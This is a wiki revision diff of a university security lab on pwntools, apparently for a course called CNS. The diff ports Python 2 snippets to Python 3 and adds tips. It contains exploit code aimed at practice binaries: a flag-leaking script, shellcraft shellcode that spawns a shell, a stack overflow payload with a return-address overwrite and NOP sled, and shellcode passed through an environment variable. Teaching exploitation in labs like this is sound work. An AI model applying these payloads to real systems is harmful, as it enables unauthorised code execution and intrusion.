This shows you the differences between two versions of the page.
cns:labs:lab-05 [2020/11/08 20:40] dennis.plosceanu [Shellcode generation] |
cns:labs:lab-05 [2022/11/07 14:44] (current) mihai.dumitru2201 [Tasks] |
||
---|---|---|---|
Line 79: | Line 79: | ||
result = io.recvline() | result = io.recvline() | ||
- | print "Got: " + result | + | print(b"Got: " + result) |
io.interactive() | io.interactive() | ||
Line 115: | Line 115: | ||
# Parse the result | # Parse the result | ||
- | leaked_char = result.split('go: ')[1].split(' ')[1].split('\n')[0] | + | leaked_char = result.split(b'go: ')[1].split(b' ')[1].split(b'\n')[0] |
return leaked_char | return leaked_char | ||
Line 123: | Line 123: | ||
for i in range(-10,0): | for i in range(-10,0): | ||
- | flag += leak_char(i) | + | flag += leak_char(i).decode("utf-8") |
- | print "The flag is: " + flag | + | print("The flag is: " + flag) |
io.close() | io.close() | ||
</code> | </code> | ||
Line 153: | Line 153: | ||
# Here you go\n | # Here you go\n | ||
result = io.recvline() | result = io.recvline() | ||
- | log.info("Got back raw response: " + result) | + | log.info("Got back raw response: {}".format(result)) |
# Parse the result | # Parse the result | ||
- | leaked_char = result.split('go: ')[1].split(' ')[1].split('\n')[0] | + | leaked_char = result.split(b'go: ')[1].split(b' ')[1].split(b'\n')[0] |
- | log.info("Parsed char: " + leaked_char) | + | log.info("Parsed char: {}".format(leaked_char)) |
return leaked_char | return leaked_char | ||
</code> | </code> | ||
Line 239: | Line 239: | ||
f.write(e.get_data()) | f.write(e.get_data()) | ||
</code> | </code> | ||
+ | |||
+ | <note tip> | ||
+ | This will result in a binary named ''test_shell'' which executes the necessary assembly code to spawn a shell. | ||
+ | |||
+ | <code> | ||
+ | $ chmod u+x test_shell | ||
+ | $ ./test_shell | ||
+ | </code> | ||
+ | |||
+ | </note> | ||
==== Shellcode generation ==== | ==== Shellcode generation ==== | ||
Line 245: | Line 255: | ||
<code asm> | <code asm> | ||
- | print shellcraft.read(0, 0xffffeeb0, 20) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes | + | print(shellcraft.read(0, 0xffffeeb0, 20)) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes |
/* call read(0, 0xffffeeb0, 0x14) */ | /* call read(0, 0xffffeeb0, 0x14) */ | ||
push (SYS_read) /* 3 */ | push (SYS_read) /* 3 */ | ||
Line 260: | Line 270: | ||
<code asm> | <code asm> | ||
- | print shellcraft.arm.read(0, 0xffffeeb0, 20) | + | print(shellcraft.arm.read(0, 0xffffeeb0, 20)) |
/* call read(0, 4294962864, 20) */ | /* call read(0, 4294962864, 20) */ | ||
eor r0, r0 /* 0 (#0) */ | eor r0, r0 /* 0 (#0) */ | ||
Line 269: | Line 279: | ||
svc 0 | svc 0 | ||
- | print shellcraft.mips.read(0, 0xffffeeb0, 20) | + | print(shellcraft.mips.read(0, 0xffffeeb0, 20)) |
/* call read(0, 0xffffeeb0, 0x14) */ | /* call read(0, 0xffffeeb0, 0x14) */ | ||
slti $a0, $zero, 0xFFFF /* $a0 = 0 */ | slti $a0, $zero, 0xFFFF /* $a0 = 0 */ | ||
Line 289: | Line 299: | ||
''', arch = 'amd64') | ''', arch = 'amd64') | ||
</code> | </code> | ||
+ | |||
+ | <note tip>Most of the time you'll be working with as specific vulnerable program. To avoid specifing architecture for the ''asm'' function or to ''shellcraft'' you can define the context at the start of the script which will imply the architecture from the binary header. | ||
+ | |||
+ | <code python> | ||
+ | context.binary = './vuln_program' | ||
+ | | ||
+ | shellcode = asm(''' | ||
+ | mov rdi, 0 | ||
+ | mov rax, 60 | ||
+ | syscall | ||
+ | ''') | ||
+ | print(shellcraft.sh()) | ||
+ | </code> | ||
+ | |||
+ | </note> | ||
==== GDB integration ==== | ==== GDB integration ==== | ||
Line 294: | Line 319: | ||
Most importantly, ''pwntools'' provides GDB integration, which is extremely useful. | Most importantly, ''pwntools'' provides GDB integration, which is extremely useful. | ||
- | Let's follow an example using the vulnerable binary from [[:cns:labs:lab-06#phase_1recon|lab 06]]: | + | Let's follow an example using the vulnerable binary from the [[cns:labs:lab-04|]] tutorial. |
<code python> | <code python> | ||
Line 300: | Line 325: | ||
from pwn import * | from pwn import * | ||
- | ret_offset = 68 | + | ret_offset = 72 |
- | buf_addr = 0xffffcee8 | + | buf_addr = 0x7fffffffd710 |
ret_address = buf_addr+ret_offset+16 | ret_address = buf_addr+ret_offset+16 | ||
- | payload = '' | ||
- | p = process('vuln') | + | # This sets several relevant things in the context (such as endianess, |
+ | # architecture etc.), based on the given binary's properties. | ||
+ | # We could also set them manually: | ||
+ | # context.arch = "amd64" | ||
+ | context.binary = "vuln" | ||
+ | p = process("vuln") | ||
+ | |||
+ | payload = b"" | ||
# Garbage | # Garbage | ||
- | payload += ret_offset * 'A' | + | payload += ret_offset * b"A" |
# Overwrite ret_address, taking endianness into account | # Overwrite ret_address, taking endianness into account | ||
- | payload += p32(ret_address) | + | payload += pack(ret_address) |
# Add nopsled | # Add nopsled | ||
- | nops = '\x90'*100 | + | nops = asm("nop")*100 |
- | # Alternative: asm('nop'), but the above is simpler and faster | ||
payload += nops | payload += nops | ||
Line 368: | Line 398: | ||
All content necessary for the CNS laboratory tasks can be found in [[cns:resources:repo|the CNS public repository]]. | All content necessary for the CNS laboratory tasks can be found in [[cns:resources:repo|the CNS public repository]]. | ||
- | |||
==== 1. Passing shellcode through the environment ==== | ==== 1. Passing shellcode through the environment ==== | ||
Line 388: | Line 417: | ||
Env var addr 0xfffdd1e7 | Env var addr 0xfffdd1e7 | ||
</code> | </code> | ||
+ | |||
+ | <note tip>You can also use pwntools to pass the env var: | ||
+ | <code python> | ||
+ | from pwn import * | ||
+ | p = process(['./getenv', 'A'], env={'A': shellcode}) | ||
+ | print(p.recvline()) | ||
+ | </code> | ||
+ | |||
+ | This way you can do the whole exploit with a python script: | ||
+ | - run ''getenv'' to leak the address | ||
+ | - parse the output of ''getenv'' | ||
+ | - build the payload and send to ''vuln'' | ||
+ | </note> | ||
This is the address at which you will return to. | This is the address at which you will return to. | ||
Line 420: | Line 462: | ||
* In order to get ''/bin/sh'' onto the stack, your shellcode could look something like this: \\ <code asm> | * In order to get ''/bin/sh'' onto the stack, your shellcode could look something like this: \\ <code asm> | ||
jmp <offset> ; determine through trial and error | jmp <offset> ; determine through trial and error | ||
- | '/bin/sh'\0 | + | '/bin/sh\0' |
; code continues here | ; code continues here | ||
</code> \\ This will effectively jump over the ''/bin/sh'' string on the stack, which you can then use for your shellcode. Without this initial **jmp** instruction, the string will be interpreted as instructions! | </code> \\ This will effectively jump over the ''/bin/sh'' string on the stack, which you can then use for your shellcode. Without this initial **jmp** instruction, the string will be interpreted as instructions! |